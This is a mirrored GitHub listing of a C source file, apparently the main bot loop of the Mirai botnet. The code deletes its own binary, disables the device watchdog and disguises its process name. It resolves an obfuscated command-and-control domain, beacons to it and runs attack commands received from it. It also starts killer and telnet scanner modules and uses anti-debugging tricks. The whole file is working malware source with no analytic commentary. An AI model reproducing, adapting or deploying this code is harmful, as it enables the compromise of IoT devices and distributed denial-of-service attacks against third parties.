mirror of
https://github.com/jgamblin/Mirai-Source-Code
synced 2025-05-21 08:44:12 +00:00
534 lines
14 KiB
C
Executable File
534 lines
14 KiB
C
Executable File
#define _GNU_SOURCE
|
|
|
|
#ifdef DEBUG
|
|
#include <stdio.h>
|
|
#endif
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <sys/socket.h>
|
|
#include <arpa/inet.h>
|
|
#include <sys/prctl.h>
|
|
#include <sys/select.h>
|
|
#include <signal.h>
|
|
#include <fcntl.h>
|
|
#include <sys/ioctl.h>
|
|
#include <time.h>
|
|
#include <errno.h>
|
|
|
|
#include "includes.h"
|
|
#include "table.h"
|
|
#include "rand.h"
|
|
#include "attack.h"
|
|
#include "killer.h"
|
|
#include "scanner.h"
|
|
#include "util.h"
|
|
#include "resolv.h"
|
|
|
|
static void anti_gdb_entry(int);
|
|
static void resolve_cnc_addr(void);
|
|
static void establish_connection(void);
|
|
static void teardown_connection(void);
|
|
static void ensure_single_instance(void);
|
|
static BOOL unlock_tbl_if_nodebug(char *);
|
|
|
|
struct sockaddr_in srv_addr;
|
|
int fd_ctrl = -1, fd_serv = -1;
|
|
BOOL pending_connection = FALSE;
|
|
void (*resolve_func)(void) = (void (*)(void))util_local_addr; // Overridden in anti_gdb_entry
|
|
|
|
#ifdef DEBUG
|
|
static void segv_handler(int sig, siginfo_t *si, void *unused)
|
|
{
|
|
printf("Got SIGSEGV at address: 0x%lx\n", (long) si->si_addr);
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
#endif
|
|
|
|
int main(int argc, char **args)
|
|
{
|
|
char *tbl_exec_succ;
|
|
char name_buf[32];
|
|
char id_buf[32];
|
|
int name_buf_len;
|
|
int tbl_exec_succ_len;
|
|
int pgid, pings = 0;
|
|
|
|
#ifndef DEBUG
|
|
sigset_t sigs;
|
|
int wfd;
|
|
|
|
// Delete self
|
|
unlink(args[0]);
|
|
|
|
// Signal based control flow
|
|
sigemptyset(&sigs);
|
|
sigaddset(&sigs, SIGINT);
|
|
sigprocmask(SIG_BLOCK, &sigs, NULL);
|
|
signal(SIGCHLD, SIG_IGN);
|
|
signal(SIGTRAP, &anti_gdb_entry);
|
|
|
|
// Prevent watchdog from rebooting device
|
|
if ((wfd = open("/dev/watchdog", 2)) != -1 ||
|
|
(wfd = open("/dev/misc/watchdog", 2)) != -1)
|
|
{
|
|
int one = 1;
|
|
|
|
ioctl(wfd, 0x80045704, &one);
|
|
close(wfd);
|
|
wfd = 0;
|
|
}
|
|
chdir("/");
|
|
#endif
|
|
|
|
#ifdef DEBUG
|
|
printf("DEBUG MODE YO\n");
|
|
|
|
sleep(1);
|
|
|
|
struct sigaction sa;
|
|
|
|
sa.sa_flags = SA_SIGINFO;
|
|
sigemptyset(&sa.sa_mask);
|
|
sa.sa_sigaction = segv_handler;
|
|
if (sigaction(SIGSEGV, &sa, NULL) == -1)
|
|
perror("sigaction");
|
|
|
|
sa.sa_flags = SA_SIGINFO;
|
|
sigemptyset(&sa.sa_mask);
|
|
sa.sa_sigaction = segv_handler;
|
|
if (sigaction(SIGBUS, &sa, NULL) == -1)
|
|
perror("sigaction");
|
|
#endif
|
|
|
|
LOCAL_ADDR = util_local_addr();
|
|
|
|
srv_addr.sin_family = AF_INET;
|
|
srv_addr.sin_addr.s_addr = FAKE_CNC_ADDR;
|
|
srv_addr.sin_port = htons(FAKE_CNC_PORT);
|
|
|
|
#ifdef DEBUG
|
|
unlock_tbl_if_nodebug(args[0]);
|
|
anti_gdb_entry(0);
|
|
#else
|
|
if (unlock_tbl_if_nodebug(args[0]))
|
|
raise(SIGTRAP);
|
|
#endif
|
|
|
|
ensure_single_instance();
|
|
|
|
rand_init();
|
|
|
|
util_zero(id_buf, 32);
|
|
if (argc == 2 && util_strlen(args[1]) < 32)
|
|
{
|
|
util_strcpy(id_buf, args[1]);
|
|
util_zero(args[1], util_strlen(args[1]));
|
|
}
|
|
|
|
// Hide argv0
|
|
name_buf_len = ((rand_next() % 4) + 3) * 4;
|
|
rand_alphastr(name_buf, name_buf_len);
|
|
name_buf[name_buf_len] = 0;
|
|
util_strcpy(args[0], name_buf);
|
|
|
|
// Hide process name
|
|
name_buf_len = ((rand_next() % 6) + 3) * 4;
|
|
rand_alphastr(name_buf, name_buf_len);
|
|
name_buf[name_buf_len] = 0;
|
|
prctl(PR_SET_NAME, name_buf);
|
|
|
|
// Print out system exec
|
|
table_unlock_val(TABLE_EXEC_SUCCESS);
|
|
tbl_exec_succ = table_retrieve_val(TABLE_EXEC_SUCCESS, &tbl_exec_succ_len);
|
|
write(STDOUT, tbl_exec_succ, tbl_exec_succ_len);
|
|
write(STDOUT, "\n", 1);
|
|
table_lock_val(TABLE_EXEC_SUCCESS);
|
|
|
|
#ifndef DEBUG
|
|
if (fork() > 0)
|
|
return 0;
|
|
pgid = setsid();
|
|
close(STDIN);
|
|
close(STDOUT);
|
|
close(STDERR);
|
|
#endif
|
|
|
|
attack_init();
|
|
killer_init();
|
|
#ifndef DEBUG
|
|
#ifdef MIRAI_TELNET
|
|
scanner_init();
|
|
#endif
|
|
#endif
|
|
|
|
while (TRUE)
|
|
{
|
|
fd_set fdsetrd, fdsetwr, fdsetex;
|
|
struct timeval timeo;
|
|
int mfd, nfds;
|
|
|
|
FD_ZERO(&fdsetrd);
|
|
FD_ZERO(&fdsetwr);
|
|
|
|
// Socket for accept()
|
|
if (fd_ctrl != -1)
|
|
FD_SET(fd_ctrl, &fdsetrd);
|
|
|
|
// Set up CNC sockets
|
|
if (fd_serv == -1)
|
|
establish_connection();
|
|
|
|
if (pending_connection)
|
|
FD_SET(fd_serv, &fdsetwr);
|
|
else
|
|
FD_SET(fd_serv, &fdsetrd);
|
|
|
|
// Get maximum FD for select
|
|
if (fd_ctrl > fd_serv)
|
|
mfd = fd_ctrl;
|
|
else
|
|
mfd = fd_serv;
|
|
|
|
// Wait 10s in call to select()
|
|
timeo.tv_usec = 0;
|
|
timeo.tv_sec = 10;
|
|
nfds = select(mfd + 1, &fdsetrd, &fdsetwr, NULL, &timeo);
|
|
if (nfds == -1)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("select() errno = %d\n", errno);
|
|
#endif
|
|
continue;
|
|
}
|
|
else if (nfds == 0)
|
|
{
|
|
uint16_t len = 0;
|
|
|
|
if (pings++ % 6 == 0)
|
|
send(fd_serv, &len, sizeof (len), MSG_NOSIGNAL);
|
|
}
|
|
|
|
// Check if we need to kill ourselves
|
|
if (fd_ctrl != -1 && FD_ISSET(fd_ctrl, &fdsetrd))
|
|
{
|
|
struct sockaddr_in cli_addr;
|
|
socklen_t cli_addr_len = sizeof (cli_addr);
|
|
|
|
accept(fd_ctrl, (struct sockaddr *)&cli_addr, &cli_addr_len);
|
|
|
|
#ifdef DEBUG
|
|
printf("[main] Detected newer instance running! Killing self\n");
|
|
#endif
|
|
#ifdef MIRAI_TELNET
|
|
scanner_kill();
|
|
#endif
|
|
killer_kill();
|
|
attack_kill_all();
|
|
kill(pgid * -1, 9);
|
|
exit(0);
|
|
}
|
|
|
|
// Check if CNC connection was established or timed out or errored
|
|
if (pending_connection)
|
|
{
|
|
pending_connection = FALSE;
|
|
|
|
if (!FD_ISSET(fd_serv, &fdsetwr))
|
|
{
|
|
#ifdef DEBUG
|
|
printf("[main] Timed out while connecting to CNC\n");
|
|
#endif
|
|
teardown_connection();
|
|
}
|
|
else
|
|
{
|
|
int err = 0;
|
|
socklen_t err_len = sizeof (err);
|
|
|
|
getsockopt(fd_serv, SOL_SOCKET, SO_ERROR, &err, &err_len);
|
|
if (err != 0)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("[main] Error while connecting to CNC code=%d\n", err);
|
|
#endif
|
|
close(fd_serv);
|
|
fd_serv = -1;
|
|
sleep((rand_next() % 10) + 1);
|
|
}
|
|
else
|
|
{
|
|
uint8_t id_len = util_strlen(id_buf);
|
|
|
|
LOCAL_ADDR = util_local_addr();
|
|
send(fd_serv, "\x00\x00\x00\x01", 4, MSG_NOSIGNAL);
|
|
send(fd_serv, &id_len, sizeof (id_len), MSG_NOSIGNAL);
|
|
if (id_len > 0)
|
|
{
|
|
send(fd_serv, id_buf, id_len, MSG_NOSIGNAL);
|
|
}
|
|
#ifdef DEBUG
|
|
printf("[main] Connected to CNC. Local address = %d\n", LOCAL_ADDR);
|
|
#endif
|
|
}
|
|
}
|
|
}
|
|
else if (fd_serv != -1 && FD_ISSET(fd_serv, &fdsetrd))
|
|
{
|
|
int n;
|
|
uint16_t len;
|
|
char rdbuf[1024];
|
|
|
|
// Try to read in buffer length from CNC
|
|
errno = 0;
|
|
n = recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL | MSG_PEEK);
|
|
if (n == -1)
|
|
{
|
|
if (errno == EWOULDBLOCK || errno == EAGAIN || errno == EINTR)
|
|
continue;
|
|
else
|
|
n = 0; // Cause connection to close
|
|
}
|
|
|
|
// If n == 0 then we close the connection!
|
|
if (n == 0)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("[main] Lost connection with CNC (errno = %d) 1\n", errno);
|
|
#endif
|
|
teardown_connection();
|
|
continue;
|
|
}
|
|
|
|
// Convert length to network order and sanity check length
|
|
if (len == 0) // If it is just a ping, no need to try to read in buffer data
|
|
{
|
|
recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL); // skip buffer for length
|
|
continue;
|
|
}
|
|
len = ntohs(len);
|
|
if (len > sizeof (rdbuf))
|
|
{
|
|
close(fd_serv);
|
|
fd_serv = -1;
|
|
}
|
|
|
|
// Try to read in buffer from CNC
|
|
errno = 0;
|
|
n = recv(fd_serv, rdbuf, len, MSG_NOSIGNAL | MSG_PEEK);
|
|
if (n == -1)
|
|
{
|
|
if (errno == EWOULDBLOCK || errno == EAGAIN || errno == EINTR)
|
|
continue;
|
|
else
|
|
n = 0;
|
|
}
|
|
|
|
// If n == 0 then we close the connection!
|
|
if (n == 0)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("[main] Lost connection with CNC (errno = %d) 2\n", errno);
|
|
#endif
|
|
teardown_connection();
|
|
continue;
|
|
}
|
|
|
|
// Actually read buffer length and buffer data
|
|
recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL);
|
|
len = ntohs(len);
|
|
recv(fd_serv, rdbuf, len, MSG_NOSIGNAL);
|
|
|
|
#ifdef DEBUG
|
|
printf("[main] Received %d bytes from CNC\n", len);
|
|
#endif
|
|
|
|
if (len > 0)
|
|
attack_parse(rdbuf, len);
|
|
}
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
static void anti_gdb_entry(int sig)
|
|
{
|
|
resolve_func = resolve_cnc_addr;
|
|
}
|
|
|
|
static void resolve_cnc_addr(void)
|
|
{
|
|
struct resolv_entries *entries;
|
|
|
|
table_unlock_val(TABLE_CNC_DOMAIN);
|
|
entries = resolv_lookup(table_retrieve_val(TABLE_CNC_DOMAIN, NULL));
|
|
table_lock_val(TABLE_CNC_DOMAIN);
|
|
if (entries == NULL)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("[main] Failed to resolve CNC address\n");
|
|
#endif
|
|
return;
|
|
}
|
|
srv_addr.sin_addr.s_addr = entries->addrs[rand_next() % entries->addrs_len];
|
|
resolv_entries_free(entries);
|
|
|
|
table_unlock_val(TABLE_CNC_PORT);
|
|
srv_addr.sin_port = *((port_t *)table_retrieve_val(TABLE_CNC_PORT, NULL));
|
|
table_lock_val(TABLE_CNC_PORT);
|
|
|
|
#ifdef DEBUG
|
|
printf("[main] Resolved domain\n");
|
|
#endif
|
|
}
|
|
|
|
static void establish_connection(void)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("[main] Attempting to connect to CNC\n");
|
|
#endif
|
|
|
|
if ((fd_serv = socket(AF_INET, SOCK_STREAM, 0)) == -1)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("[main] Failed to call socket(). Errno = %d\n", errno);
|
|
#endif
|
|
return;
|
|
}
|
|
|
|
fcntl(fd_serv, F_SETFL, O_NONBLOCK | fcntl(fd_serv, F_GETFL, 0));
|
|
|
|
// Should call resolve_cnc_addr
|
|
if (resolve_func != NULL)
|
|
resolve_func();
|
|
|
|
pending_connection = TRUE;
|
|
connect(fd_serv, (struct sockaddr *)&srv_addr, sizeof (struct sockaddr_in));
|
|
}
|
|
|
|
static void teardown_connection(void)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("[main] Tearing down connection to CNC!\n");
|
|
#endif
|
|
|
|
if (fd_serv != -1)
|
|
close(fd_serv);
|
|
fd_serv = -1;
|
|
sleep(1);
|
|
}
|
|
|
|
static void ensure_single_instance(void)
|
|
{
|
|
static BOOL local_bind = TRUE;
|
|
struct sockaddr_in addr;
|
|
int opt = 1;
|
|
|
|
if ((fd_ctrl = socket(AF_INET, SOCK_STREAM, 0)) == -1)
|
|
return;
|
|
setsockopt(fd_ctrl, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof (int));
|
|
fcntl(fd_ctrl, F_SETFL, O_NONBLOCK | fcntl(fd_ctrl, F_GETFL, 0));
|
|
|
|
addr.sin_family = AF_INET;
|
|
addr.sin_addr.s_addr = local_bind ? (INET_ADDR(127,0,0,1)) : LOCAL_ADDR;
|
|
addr.sin_port = htons(SINGLE_INSTANCE_PORT);
|
|
|
|
// Try to bind to the control port
|
|
errno = 0;
|
|
if (bind(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)
|
|
{
|
|
if (errno == EADDRNOTAVAIL && local_bind)
|
|
local_bind = FALSE;
|
|
#ifdef DEBUG
|
|
printf("[main] Another instance is already running (errno = %d)! Sending kill request...\r\n", errno);
|
|
#endif
|
|
|
|
// Reset addr just in case
|
|
addr.sin_family = AF_INET;
|
|
addr.sin_addr.s_addr = INADDR_ANY;
|
|
addr.sin_port = htons(SINGLE_INSTANCE_PORT);
|
|
|
|
if (connect(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("[main] Failed to connect to fd_ctrl to request process termination\n");
|
|
#endif
|
|
}
|
|
|
|
sleep(5);
|
|
close(fd_ctrl);
|
|
killer_kill_by_port(htons(SINGLE_INSTANCE_PORT));
|
|
ensure_single_instance(); // Call again, so that we are now the control
|
|
}
|
|
else
|
|
{
|
|
if (listen(fd_ctrl, 1) == -1)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("[main] Failed to call listen() on fd_ctrl\n");
|
|
close(fd_ctrl);
|
|
sleep(5);
|
|
killer_kill_by_port(htons(SINGLE_INSTANCE_PORT));
|
|
ensure_single_instance();
|
|
#endif
|
|
}
|
|
#ifdef DEBUG
|
|
printf("[main] We are the only process on this system!\n");
|
|
#endif
|
|
}
|
|
}
|
|
|
|
static BOOL unlock_tbl_if_nodebug(char *argv0)
|
|
{
|
|
// ./dvrHelper = 0x2e 0x2f 0x64 0x76 0x72 0x48 0x65 0x6c 0x70 0x65 0x72
|
|
char buf_src[18] = {0x2f, 0x2e, 0x00, 0x76, 0x64, 0x00, 0x48, 0x72, 0x00, 0x6c, 0x65, 0x00, 0x65, 0x70, 0x00, 0x00, 0x72, 0x00}, buf_dst[12];
|
|
int i, ii = 0, c = 0;
|
|
uint8_t fold = 0xAF;
|
|
void (*obf_funcs[]) (void) = {
|
|
(void (*) (void))ensure_single_instance,
|
|
(void (*) (void))table_unlock_val,
|
|
(void (*) (void))table_retrieve_val,
|
|
(void (*) (void))table_init, // This is the function we actually want to run
|
|
(void (*) (void))table_lock_val,
|
|
(void (*) (void))util_memcpy,
|
|
(void (*) (void))util_strcmp,
|
|
(void (*) (void))killer_init,
|
|
(void (*) (void))anti_gdb_entry
|
|
};
|
|
BOOL matches;
|
|
|
|
for (i = 0; i < 7; i++)
|
|
c += (long)obf_funcs[i];
|
|
if (c == 0)
|
|
return FALSE;
|
|
|
|
// We swap every 2 bytes: e.g. 1, 2, 3, 4 -> 2, 1, 4, 3
|
|
for (i = 0; i < sizeof (buf_src); i += 3)
|
|
{
|
|
char tmp = buf_src[i];
|
|
|
|
buf_dst[ii++] = buf_src[i + 1];
|
|
buf_dst[ii++] = tmp;
|
|
|
|
// Meaningless tautology that gets you right back where you started
|
|
i *= 2;
|
|
i += 14;
|
|
i /= 2;
|
|
i -= 7;
|
|
|
|
// Mess with 0xAF
|
|
fold += ~argv0[ii % util_strlen(argv0)];
|
|
}
|
|
fold %= (sizeof (obf_funcs) / sizeof (void *));
|
|
|
|
#ifndef DEBUG
|
|
(obf_funcs[fold])();
|
|
matches = util_strcmp(argv0, buf_dst);
|
|
util_zero(buf_src, sizeof (buf_src));
|
|
util_zero(buf_dst, sizeof (buf_dst));
|
|
return matches;
|
|
#else
|
|
table_init();
|
|
return TRUE;
|
|
#endif
|
|
}
|